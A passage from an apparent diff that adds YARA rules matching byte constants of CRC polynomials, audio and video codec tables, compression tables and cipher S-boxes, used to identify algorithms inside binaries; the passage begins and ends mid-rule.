000000000000000000000000000080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f80b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfd0b0afcfdf4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303f4f50303fcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0bfcfd0b0b0302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f50302f4f5121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212edededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededeeedededee141405051414050514140505141405051414050514140505141405051414050514140505141405051414050514140505ebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafbebebfafb050514140505141405051414050514140505141405051414050514140505141405051414050514140505141405051414000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e91110eeefeeef11111b1af8f9e4e50707f8f91b1b0706e4e527271313d8d8eced13132727ececd8d927272727d8d8d8d92b2b0303d4d4fcfd03032b2bfcfcd4d52423e7e8dbdc1818e7e824241817dbdc45452a2ababad5d62a2a4545d5d5babb3534f1f2cacb0e0ef1f235350e0dcacb47471313b8b8eced13134747ececb8b949494949b6b6b6b7504ffdfeafb00202fdfe50500201afb03433cbcccbcc34344645d8d9b9ba2727d8d946462726b9ba797930308686cfd030307979cfcf86877c7c54548383abac54547c7cabab83846463e4e59b9c1b1be4e564641b1a9b9c6665aeaf999a5151aeaf66665150999a37373737c8c8c8c968686868979797980000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f7f6f6f6f70c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfd0c0bfcfdf3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303f3f40303fcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0cfcfd0c0c0302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f40302f3f414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebecebebebec17170606171706061717060617170606171706061717060617170606171706061717060617170606171706061717060617170606e8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fae8e8f9fa06061717060617170606171706061717060617170606171706061717060617170606171706061717060617170606171706061717f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9f9f9e8e9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__witab__16_big_32_
+{
+strings:
+	$a0 = { FFF4001200290040007000C6016304620462016300C60070004000290012FFF4 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi4__32_lil_128_
+{
+strings:
+	$a0 = { 1800000004000000000000000e00000002000000070000001c000000170000001a000000060000001e0000001400000012000000190000001300000003000000160000000b0000001f00000015000000080000001b0000000c00000009000000010000001d000000050000000f000000110000000a000000100000000d000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book11__32_lil_3468_
+{
+strings:
+	$a0 = { 00000000040000000000000001000000050000000600000002000000060000001900000003000000070000003d00000004000000080000009c0000000500000008000000c60000000600000009000000a7010000070000000a00000090030000080000000a000000c2030000090000000a000000df0300000a0000000b000000e60700000b0000000b000000f30700000c0000000c000000fb0f00000d0000000b000000ec0700000e0000000c000000fa0f00000f0000000c000000fe0f0000100000000a0000008e0300001100000005000000050000001200000004000000010000001300000005000000080000001400000006000000140000001500000007000000370000001600000007000000420000001700000008000000920000001800000008000000af0000001900000009000000910100001a00000009000000a50100001b00000009000000b50100001c0000000a0000009e0300001d0000000a000000c00300001e0000000a000000a20300001f0000000a000000cd030000200000000b000000d60700002100000008000000ae00000022000000060000001700000023000000050000000700000024000000050000000900000025000000060000001800000026000000070000003900000027000000070000004000000028000000080000008e0000002900000008000000a30000002a00000008000000b80000002b00000009000000990100002c00000009000000ac0100002d00000009000000c10100002e0000000a000000b10300002f0000000a00000096030000300000000a000000be030000310000000a000000ca03000032000000080000009d00000033000000070000003c00000034000000060000001500000035000000060000001600000036000000060000001a00000037000000070000003b0000003800000007000000440000003900000008000000910000003a00000008000000a50000003b00000008000000be0000003c00000009000000960100003d00000009000000ae0100003e00000009000000b90100003f0000000a000000a1030000400000000a00000091030000410000000a000000a5030000420000000a000000d503000043000000080000009400000044000000080000009a00000045000000070000003600000046000000070000003800000047000000070000003a00000048000000070000004100000049000000080000008c0000004a000000080000009b0000004b00000008000000b00000004c00000008000000c30000004d000000090000009e0100004e00000009000000ab0100004f00000009000000bc010000500000000a0000009f030000510000000a0000008f030000520000000a000000a9030000530000000a000000cf0300005400000008000000930000005500000008000000bf00000056000000070000003e00000057000000070000003f0000005800000007000000430000005900000007000000450000005a000000080000009e0000005b00000008000000a70000005c00000008000000b90000005d00000009000000940100005e00000009000000a20100005f00000009000000ba0100006000000009000000c3010000610000000a000000a6030000620000000a000000a7030000630000000a000000bb030000640000000a000000d403000065000000080000009f0000006600000009000000a001000067000000080000008f00000068000000080000008d0000006900000008000000900000006a00000008000000980000006b00000008000000a60000006c00000008000000b60000006d00000008000000c40000006e000000090000009f0100006f00000009000000af0100007000000009000000bf010000710000000a00000099030000720000000a000000bf030000730000000a000000b4030000740000000a000000c9030000750000000a000000e70300007600000008000000a80000007700000009000000b60100007800000008000000ab0000007900000008000000a40000007a00000008000000aa0000007b00000008000000b20000007c00000008000000c20000007d00000008000000c50000007e00000009000000980100007f00000009000000a40100008000000009000000b8010000810000000a0000008c030000820000000a000000a4030000830000000a000000c4030000840000000a000000c6030000850000000a000000dd030000860000000a000000e80300008700000008000000ad000000880000000a000000af0300008900000009000000920100008a00000008000000bd0000008b00000008000000bc0000008c000000090000008e0100008d00000009000000970100008e000000090000009a0100008f00000009000000a30100009000000009000000b1010000910000000a0000008d030000920000000a00000098030000930000000a000000b7030000940000000a000000d3030000950000000a000000d1030000960000000a000000db030000970000000b000000dd0700009800000008000000b4000000990000000a000000de0300009a00000009000000a90100009b000000090000009b0100009c000000090000009c0100009d00000009000000a10100009e00000009000000aa0100009f00000009000000ad010000a000000009000000b3010000a10000000a0000008b030000a20000000a000000b2030000a30000000a000000b8030000a40000000a000000ce030000a50000000a000000e1030000a60000000a000000e0030000a70000000b000000d2070000a80000000b000000e5070000a900000008000000b7000000aa0000000b000000e3070000ab00000009000000bb010000ac00000009000000a8010000ad00000009000000a6010000ae00000009000000b0010000af00000009000000b2010000b000000009000000b7010000b10000000a0000009b030000b20000000a0000009a030000b30000000a000000ba030000b40000000a000000b5030000b50000000a000000d6030000b60000000b000000d7070000b70000000a000000e4030000b80000000b000000d8070000b90000000b000000ea070000ba00000008000000ba000000bb0000000b000000e8070000bc0000000a000000a0030000bd00000009000000bd010000be00000009000000b4010000bf0000000a0000008a030000c000000009000000c4010000c10000000a00000092030000c20000000a000000aa030000c30000000a000000b0030000c40000000a000000bc030000c50000000a000000d7030000c60000000b000000d4070000c70000000b000000dc070000c80000000b000000db070000c90000000b000000d5070000ca0000000b000000f0070000cb00000008000000c1000000cc0000000b000000fb070000cd0000000a000000c8030000ce0000000a000000a3030000cf0000000a00000095030000d00000000a0000009d030000d10000000a000000ac030000d20000000a000000ae030000d30000000a000000c5030000d40000000a000000d8030000d50000000a000000e2030000d60000000a000000e6030000d70000000b000000e4070000d80000000b000000e7070000d90000000b000000e0070000da0000000b000000e9070000db0000000b000000f7070000dc0000000900000090010000dd0000000b000000f2070000de0000000a00000093030000df00000009000000be010000e000000009000000c0010000e10000000a00000094030000e20000000a00000097030000e30000000a000000ad030000e40000000a000000c3030000e50000000a000000c1030000e60000000a000000d2030000e70000000b000000da070000e80000000b000000d9070000e90000000b000000df070000ea0000000b000000eb070000eb0000000b000000f4070000ec0000000b000000fa070000ed0000000900000095010000ee0000000b000000f8070000ef0000000a000000bd030000f00000000a0000009c030000f10000000a000000ab030000f20000000a000000a8030000f30000000a000000b3030000f40000000a000000b9030000f50000000a000000d0030000f60000000a000000e3030000f70000000a000000e5030000f80000000b000000e2070000f90000000b000000de070000fa0000000b000000ed070000fb0000000b000000f1070000fc0000000b000000f9070000fd0000000b000000fc070000fe0000000900000093010000ff0000000c000000fd0f0000000100000a000000dc030000010100000a000000b6030000020100000a000000c7030000030100000a000000cc030000040100000a000000cb030000050100000a000000d9030000060100000a000000da030000070100000b000000d3070000080100000b000000e1070000090100000b000000ee0700000a0100000b000000ef0700000b0100000b000000f50700000c0100000b000000f60700000d0100000c000000fc0f00000e0100000c000000ff0f00000f010000090000009d0100001001000009000000c20100001101000008000000b50000001201000008000000a10000001301000008000000960000001401000008000000970000001501000008000000950000001601000008000000990000001701000008000000a00000001801000008000000a20000001901000008000000ac0000001a01000008000000a90000001b01000008000000b10000001c01000008000000b30000001d01000008000000bb0000001e01000008000000c00000001f010000090000008f010000200100000500000004000000 }
+
+condition:
+	$a0
+}
+
+	
+rule War_Times_CRC_algorithm__32_lil_16_
+{
+strings:
+	$a0 = { 2e160000d00400009419000094260000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_512__16_lil_62_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c0034003c00440050005c00680078008c00a400c000e00000012001400160018001a001c001e0010002 }
+
+condition:
+	$a0
+}
+
+	
+rule LOKI97_values__64_lil_AND_
+{
+strings:
+	$a0 = { 1129000000000000[0-20]0020000000000000[0-20]a70a000000000000[0-20]0008000000000000[0-20]b979379e00000000[0-20]157c4a7f00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zdaemon_huffman_HuffFreq_table__0_46947443___flt32___32_big_1024_
+{
+strings:
+	$a0 = { 3ef05ef43d195d163ca49b403be7f0143bee99e73cacf90d3b91fff23b1681b73c4f64573b1e02e03b4416703b2e0ec73b3a425c3b5e7bcc3b05a8203afbf1a83c692e373aff45453b2475153b12df403b2d56903af2e1b43ad7d2ba3ab1f32d3b1c6e0a3acc13943aad28173ab2780d3add24b43aaf043a3ab5624d3aaf9eea3b27af063adbc25e3aba7deb3af2922e3aebd5263aad9b843a8ca6ed3babb5903b2181703a7bd0c63bf0d0e33a86e4353adff61f3aa8e43a3a7fe3a63a954fde3af435473c30823e3a86d71f3b687aa83aa48de93a9589953a87264f3aae1bb23b07541d3a8d332f3a81f5383b94f5303abd1dad3a86b18a3a89d8863a99ecfc3b01a2ad3a8751433b54fef53a9702bb3aa42e9e3a8461a43a833c603a93e2763aa949903a8098ed3a7b158b3a807f163a9a02cb3a875d573a92a6603a903ca43c066b7f3a7014fb3a81430c3a6b71283ab13a4a3a675cf13a7a23f33a6896573b0c17253a8251d43a86000a3a80e00f3a982f0b3a6cf25c3a5ffe833a78e88a3ace4afc3a9093363a6aefa33a778c3e3c0535293c1d990d3b9c215e3a7f89b83ab129d93a75b67b3a62cc933a73bdd23bb208fc3a983ed13a82a5b73afc15903aca752f3a6465f13a8b86063a945f483b6156f33b99c6e63a66ec333a85b93d3aacc8cb3a6ffc273a6811773a6e3de13a947e7d3a671c843a670bbd3a9391ee3b570f713a66b27c3a866a683a61e8683a8cc8253a993d283a5d225a3a55720d3aa3e0c53a4faaf93a5114043a6a72243a8cca7e3a5b2d0d3a4e83b13a5d7cf33ac33bff3a5fc4cc3a4f21663a57a8733a8804713a5aebf43a55fe4f3a560c673aa1780a3a5120193a52d8553a567e7c3aa0e9193a53a65b3a541f273a5ebe673b1a2c113a4f4db13a4e33293a5623383a8c855f3a4e5b6d3a4e6ce03a7f76423aa0cf993a4e50b03a5023c43a48e02e3a9cf4173a47e32e3a5017043a62135b3aad530a3a4bbaff3a64405c3a544e203a829f573a46eae13a4c41373a52a4a83a93b9303a4e15a23a4d692a3a4c27b63a90094d3a7ad9253a5379643a4fd9f23b2051c53a51ea183a467ace3a504eb73aa0d6a53a46761c3a41fbe33a5043fb3a9452323a7ae3e13a46c54c3a4375b63a8a5cbb3a467ed53a5045fe3b6c4d9c3ab169443a4b6fd53a48f4503a5631503ab607b93a50348b3a5a4e403a47ca593a9a37cf3bc442e63a58cf0f3a55fc4b3aad81583a457dce3a49f3ff3a94bfeb3ad5f7ef3a6cdadf3a63d6543a7108963aa4ed353a4f3c3e3a517cb53a575d4a3aa3969e3a5052123aa536053a62eecd3aaad8863a89011b3a8d23bf3a9bc0653ae968643aae109f3ac4e06f3acc29643b13d8ba3b1161113ad3cb443ada62623b0e886e3b00163b3b1f5f563b29529f3b6946d63b93b18e3bc98d3d3cdaae62 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_240__16_big_100_
+{
+strings:
+	$a0 = { ed2f523954f1e4a92620ee3e09d62c40efb52be03fe13339442fe6fe4458f9dff23143db3db0f7054f7bfefb26ad0cdc33c2073912be43a21bdf1f3e021107962aeb163f050d3a380d1e0d78150f334638a40b7d2d5d1fdf19b728220d991f12194c0ce6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x8408__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000ce17df0f1118be1f70086110af073f1ff108e0102e0781004f175e0f90183d1ef309e2112c0683014d165c0e92190201cc16dd0e1319bc1e72096311ad06391cf70be613280487034914580c961b0603c814d90c171bb81c760b6713a9040402ca15db0d151aba1d740a6512ab053b1df50ae4122a0585024b155a0d941a3118ff0fee1720008f07411050089e1f0e07c010d1081f1fb0187e0f6f17a1000c06c211d3091d1eb2197c0e6d16a3013319fd0eec1622018d06431152099c1e0804c613d70b191cb61b780c6914a703371bf90ce814260389044713560b981c351afb0dea1524028b054512540a9a1d0a05c412d50a1b1db41a7a0d6b15a5022110ef07fe1f30089f0f511840008e171e0fd018c1000f17a0106e077f1fb1081c0ed219c3010d16a2116c067d1eb3092311ed06fc1e32099d0e531942018c16180cd61bc7030914a6136804791cb70b2713e904f81c360b990c571b460388142512eb05fa1d340a9b0d551a44028a151a0dd41ac5020b15a4126a057b1db50a1008de1fcf070110ae1760007118bf0f2f17e100f0183e0f91085f1f4e0780102d16e301f2193c0e93095d1e4c0682111209dc1ecd060311ac1662017319bd0e2914e703f61b380c970b591c48048613160bd81cc9040713a8146603771bb90c140ada1dcb050512aa156402751abb0d2b15e502f41a3a0d950a5b1d4a058412 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_libmp3lame_sBitRates__32_lil_360_
+{
+strings:
+	$a0 = { 0000000020000000400000006000000080000000a0000000c0000000e00000000001000020010000400100006001000080010000a0010000c0010000000000002000000030000000380000004000000050000000600000007000000080000000a0000000c0000000e000000000010000400100008001000000000000200000002800000030000000380000004000000050000000600000007000000080000000a0000000c0000000e0000000000100004001000000000000200000003000000038000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000e0000000000100000000000008000000100000001800000020000000280000003000000038000000400000005000000060000000700000008000000090000000a00000000000000008000000100000001800000020000000280000003000000038000000400000005000000060000000700000008000000090000000a0000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4599__16_big_refl_True_
+{
+strings:
+	$a0 = { 000016ca2d943b5e5b284de276bc6076b650a09a9bc48d0eed78fbb2c0ecd6265fe5492f727164bb04cd120729593f93e9b5ff7fc421d2ebb29da4579f0989c3bfcaa900925e8494e4e2f228c976dfbc099a1f50240e32c452b244787f2669ece02ff6e5cdbbdb71bb07adcd96938059567f40b57beb6d210d571b9d20c336094cd15a1b6145778f17f901333a6d2ca7fa81ec4bd715c1dfa1a9b7638c3d9af7133405fe3ea0286a481c5ed665887342a564b3ae88f09e3afe4ce886d3d8c512f31be5d1de8fc845a833bef985a7936d454b538168df7e151e6308a933f7253dacfeba34816a97a0f7d6e11cda42cc881aae0c64373a21f04186574c6c127ad899a28f68b436a2fcc28ad440ef1ef9d42ff23938026614ac74da6210594e4f84c647d08debd3fd199d6f8ba5b0fba631701766dd5d834b492b3f3df506ab1061266830a20bfc1d367d406b8a50d4461e903886f2bdacab66cb10dddae684f04e798d6f47541942d322a5346f0f3119fbcfddd917e249f48394f5823fb961afabd573c3b9f8e7ee2d8e5b9891a3cfb505632375e94eb7587d380b2ec1159f03558a969c5ca702b1c8d1bec774fc2aeae03cc62a0c1152079867ee71244a7a5cb06ab97c73472d51e73191275b1c050acfdce9ca23f17de7b787c1910baa55bc9f355c239618c80e026e7478be43e0552a830c95c6ae98b852d824ceeef5b0e37a }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_220_4__8_byt_64_
+{
+strings:
+	$a0 = { 006b03bb007d06d42707561c310b6624019e008303b401974413340c51194011007705cb007104c32d0960212a085b1e02ac019002a500894d173c0f4815380e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer1__flt32___32_big_128_
+{
+strings:
+	$a0 = { 3f5824d53ef279793fb963aa3e8a9e4d3f3e96e63f9ef9903fec38d2000000003f5e67843ef4039b3fbd36723e8371da3f417a9a3fa9579340023348000000003f4248413f1f6b1a3fa2baae3eb220793f40d0353f934c553fd071e7000000003f43e7e23f2507963fa1c4fc3eb0e2e33f438b9c3f9b739f3fe1c6c900000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Empires_Dawn_of_the_modern_World__packets_algorithm__8_byt_256_
+{
+strings:
+	$a0 = { 00e71a56f33d2813cf1f2eda5b80f2f3733d09ba4a7f33931db33a90fc5cfa5f99c7f8afa7f63dbfecb0c32a631d48a999d4aef2bfd2df517c234d26f8c4f6024f97356cc0d10514cccf2f80b4b804fc6acdfbd270e40489c1d3bb50395c6a318b5dfa4653cbc38942445869f0b442db64f3d0f6c5b8d6db56cfa2fc3307e47bdca7dfbd1eeca1e0485d8e375e7a08782c9875c3cf5a752cc6ac85e200b4dfb9fc8de01c8643b12501f38705ec7b404f8d969b6649dbe5a8ca854d806658ba0bccab637099e7eda7b76963b53432be247d4f5cd3935a16c740004e1ecef0bcd6542a33950df83803dda4a9f2741e410318ad39c8b7f8dc472e4844c84e8217cd }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_short__flt32___32_big_512_
+{
+strings:
+	$a0 = { 3837b14738f8e0893971ec8239cc32283a1ecf673a69d4e73aa5607b3ae2c6f43b17a6993b46aa6f3b7fb8c83ba219f13bcacad03bfab72d3c1958d73c39cb443c5f25313c84ee443c9d35073cb8a44e3cd77a1a3cf9f48c3d1028af3d2566af3d3cd1ee3d56870d3d72a1593d889d3f3d99351e3dab230e3dbe70923dd325c93de9494a3e0070043e0cf6973e1a39073e2836ff3e36ef283e465f1f3e5683703e6757903e78d5e23e857bda3e8edaa13e9882e43ea26fbc3eac9bcc3eb701443ec199ea3ecc5f233ed749fe3ee253403eed736e3ef8a2de3f01ece03f0788193f0d1f243f12ae103f1830f63f1da4023f23037a3f284bc53f2d79723f32893b3f3778113f3c431c3f40e7c33f4563af3f49b4cf3f4dd95a3f51cfd33f5597093f592e183f5c94693f5fc9b23f62cdf23f65a1713f6844bd3f6ab8a33f6cfe303f6f16a63f71037d3f72c6593f7461043f75d56a3f7725923f7853963f7961a03f7a51de3f7b26833f7be1be3f7c85b23f7d14773f7d90133f7dfa733f7e55703f7ea2c33f7ee40c3f7f1aca3f7f485d3f7f6e073f7f8ceb3f7fa60d3f7fba543f7fca8c3f7fd7663f7fe17c3f7fe9533f7fef5a3f7ff3ee3f7ff75f3f7ff9ec3f7ffbc93f7ffd213f7ffe153f7ffebf3f7fff333f7fff803f7fffb33f7fffd33f7fffe73f7ffff33f7ffff93f7ffffd3f7fffff3f8000003f8000003f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule LZ_Huffman__lzhuf_lha__encoding_table__8_byt_64_
+{
+strings:
+	$a0 = { 0020304050586068707880889094989ca0a4a8acb0b4b8bcc0c2c4c6c8caccced0d2d4d6d8dadcdee0e2e4e6e8eaeceef0f1f2f3f4f5f6f7f8f9fafbfcfdfeff }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_same_side__135_degree___flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 19a88de877bb723fc5dfb1f42345563f580c9a4b9ecf8f3f27960b49d1e12ebf86b4ab9e866badbf032c0232ac90a13f8310d91c328e803f246c28e61206cc3f4993664c9219d33f6870699e4e23d5bfbbaf85ec1871d4bff22a8372c6b0cb3ffc00758bf931cf3fdcc81d95cfa3b6bf09f7f9d2d22ba43f860fb8ab310cdd3fd404ee762874b33fcbefadb0d32fc7bff2df5b9def47d23fc243a7cbb9ead93f0dc020309661abbf431eb9de1e23d4bf8e70e40a2975babf3725d4957c50a7bf510cde8bd512c8bf77e812f4fa71c1bf900130e132b7babffb3dbedc095ec9bf076486fdd860c5bf6d37b3cc135797bf11e2469ab0b8ad3fc743995cb3de7c3f42121a2c084d68bf18042648b9f5b93f013e73e249d2bd3fb1c5c8c1cab7aa3ff0d120c2f71b9d3fb3e3f790fa41a53ff2dde35fface46bf7442c2837133aebff05c75894577a3bf45c0f97fa5029ebfa4df4051a14aa7bf8a19cdcb21aeaebf9fcabc9972d9adbf7ac540b09e47a3bf69e535ca3f39a2bff8978c2eb92495bf8d5bbfcadb6e77bf2324bde12e2b71bf5551395f3ccb52bf3dc2e49eeae4813fd4ad0d7dbf01983f04c01a1dfec8983fd7295ff65b67933fb469591b9a4e953f8cb005218f16963f4d041b66e6da7b3f2236c886a36e82bf6f4f61ed587786bfb5af14ada2916bbfab04ed915df689bfd6bd65e8b6619bbf8f8904b079fd97bfab61ca397bdc97bff17a9ebff53698bfd753efe9ddcc95bf09439715c3ad82bf7492ae97c3504e3f3f3e9d07b177063f58917d8f3ab417bf0b9893c052962d3f3b170993837f7d3fbfc3578b57217d3fc9f3c31d9b1a6a3fdd3492543197803fd112bb4548d8893fc4820e882316803f5eb777f303ac63bfa2cf25560ccc57bf391b93fc1deb64bf7a03bb47547489bfc80dcaf2141e8cbf4de88ad37bb67cbfaf224c5a58597dbf9804896c4cc990bfe8216bc8353690bfc7c37a4ba7ec7dbfd7b485a755906dbf1f70fc0c37bd6abf1fc87dfa7650693f970d97350db37e3f40d959f3b99a643fa4020f3d5061093f0fd964c850d45c3f59e14e8b8fef723fb0565e0aab106c3fc2daff1adf5e6e3f8416e1c0ac266d3f5dd4682849425fbfcb4064d995cf78bf6c54ce48b25e7cbfebb3e09e15cc71bfecc4fe3a8e1c71bf3f32c6ae870276bf70100129bf227bbfbe0df45394c681bfbf48e633b2f385bf377ba481d15487bffbf7079daf2a80bfd64615b2769666bff7866c82e9cb0fbf7509e676238054bf1c5ea051561264bf8dca9b2c211c62bf99bc3daaf42d63bf73037eb5b1564dbf08d176f289ac413f6be7252df1bd35bf76c753bf767b70bf3ab5e8d4f5b981bf6a2691c86d4684bf5e574d4beebe81bfa11dfbf2b0ab76bfe4fcf94a91996ebf8a0f7a0f499166bfffc4dea90c0666bf78ea3a3593ba70bf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_scale_factor_quant7__32_big_512_
+{
+strings:
+	$a0 = { 000000010000000100000002000000020000000200000002000000030000000300000003000000040000000400000005000000060000000700000007000000080000000a0000000b0000000c0000000e000000100000001200000014000000170000001a0000001e00000022000000260000002c00000032000000380000004000000048000000520000005d0000006a00000078000000880000009b000000b0000000c8000000e200000101000001240000014b00000178000001ab000001e40000022600000270000002c400000324000003900000040b0000049700000536000005ea000006b60000079e000008a5000009d000000b2300000ca400000e59000010490000127c000014fa000017cf00001b0600001eac000022d10000278400002cda000032e8000039c70000419400004a6f0000547b00005fe300006cd500007b8700008c3400009f220000b49e0000cd010000e8ae0001081800012bc000015438000182270001b64a0001f176000234a0000280db0002d761000339950003a90b0004278e0004b72600055a200006131b0006e5100007d35d0008e1d7000a14d5000b7146000cfcc2000ebda30010bb1e0012fd6300158dba001876ad001bc435001f83e40023c52500289975002e14b000344d5e003b5d13004360d8004c79a00056ccd1006284de006fd1f5007eeac6000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule unlzx_table_three__32_big_64_
+{
+strings:
+	$a0 = { 000000000000000100000003000000070000000f0000001f0000003f0000007f000000ff000001ff000003ff000007ff00000fff00001fff00003fff00007fff }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T5__32_lil_1024_
+{
+strings:
+	$a0 = { 0000000008060201100c0402180a060320180804281e0a0530140c0638120e074030100848361209503c140a583a160b6028180c682e1a0d70241c0e78221e0f8060201088662211906c2412986a2613a0782814a87e2a15b0742c16b8722e17c0503018c8563219d05c341ad85a361be048381ce84e3a1df0443c1ef8423e1f1dc0402015c642210dcc442205ca46233dd8482435de4a252dd44c2625d24e275df0502855f652294dfc542a45fa562b7de8582c75ee5a2d6de45c2e65e25e2f9da0603095a662318dac643285aa6633bdb86834b5be6a35adb46c36a5b26e37dd907038d5967239cd9c743ac59a763bfd88783cf58e7a3ded847c3ee5827e3f3a9d8040329b82412a918442229786431a85884412838a450a898c46028f8e477aad904872ab92496aa1944a62a7964b5ab5984c52b39a4d4ab99c4e42bf9e4fbafda050b2fba251aaf1a452a2f7a6539ae5a85492e3aa558ae9ac5682efae57facdb058f2cbb259eac1b45ae2c7b65bdad5b85cd2d3ba5dcad9bc5ec2dfbe5f275dc0602f5bc2613751c4623f57c6630745c8640f43ca651749cc661f4fce67676dd0686f6bd2697761d46a7f67d66b4775d86c4f73da6d5779dc6e5f7fde6fa73de070af3be271b731e472bf37e6738725e8748f23ea759729ec769f2fee77e70df078ef0bf279f701f47aff07f67bc715f87ccf13fa7dd719fc7edf1ffe7f74271d807c211f81642b19826c2d1b83543f15845c391785443311864c35138734170d883c110f89241b098a2c1d0b8b140f058c1c09078d0403018e0c05038ff4473d90fc413f91e44b3992ec4d3b93d45f3594dc593795c4533196cc553397b4772d98bc712f99a47b299aac7d2b9b946f259c9c69279d8463219e8c65239f69e75da061e15fa179eb59a271ed5ba349ff55a441f957a559f351a651f553a729d74da821d14fa939db49aa31dd4bab09cf45ac01c947ad19c341ae11c543afe9877db0e1817fb1f98b79b2f18d7bb3c99f75b4c19977b5d99371b6d19573b7a9b76db8a1b16fb9b9bb69bab1bd6bbb89af65bc81a967bd99a361be91a563bf4eba9dc046bc9fc15eb699c256b09bc36ea295c466a497c57eae91c676a893c70e8a8dc8068c8fc91e8689ca16808bcb2e9285cc269487cd3e9e81ce369883cfcedabdd0c6dcbfd1ded6b9d2d6d0bbd3eec2b5d4e6c4b7d5feceb1d6f6c8b3d78eeaadd886ecafd99ee6a9da96e0abdbaef2a5dca6f4a7ddbefea1deb6f8a3df537adde05b7cdfe14376d9e24b70dbe37362d5e47b64d7e5636ed1e66b68d3e7134acde81b4ccfe90346c9ea0b40cbeb3352c5ec3b54c7ed235ec1ee2b58c3efd31afdf0db1cfff1c316f9f2cb10fbf3f302f5f4fb04f7f5e30ef1f6eb08f3f7932aedf89b2ceff98326e9fa8b20ebfbb332e5fcbb34e7fda33ee1feab38e3ff }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__qbits___16_lil_38_
+{
+strings:
+	$a0 = { 77009100a500b700c600d400e100ed00f90003010d0117012001280131013901400148014f01 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_fax_ccitt_syms__16_lil_208_
+{
+strings:
+	$a0 = { 00000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d001e001f0020002100220023002400250026002700280029002a002b002c002d002e002f0030003100320033003400350036003700380039003a003b003c003d003e003f0040008000c000000140018001c001000240028002c002000340038003c003000440048004c004000540058005c005000640068006c006000740078007c007000840088008c008000940098009c009000a }
+
+condition:
+	$a0
+}
+
+	
+rule Magenta_tab_and_large_tab0__32_lil_1024_
+{
+strings:
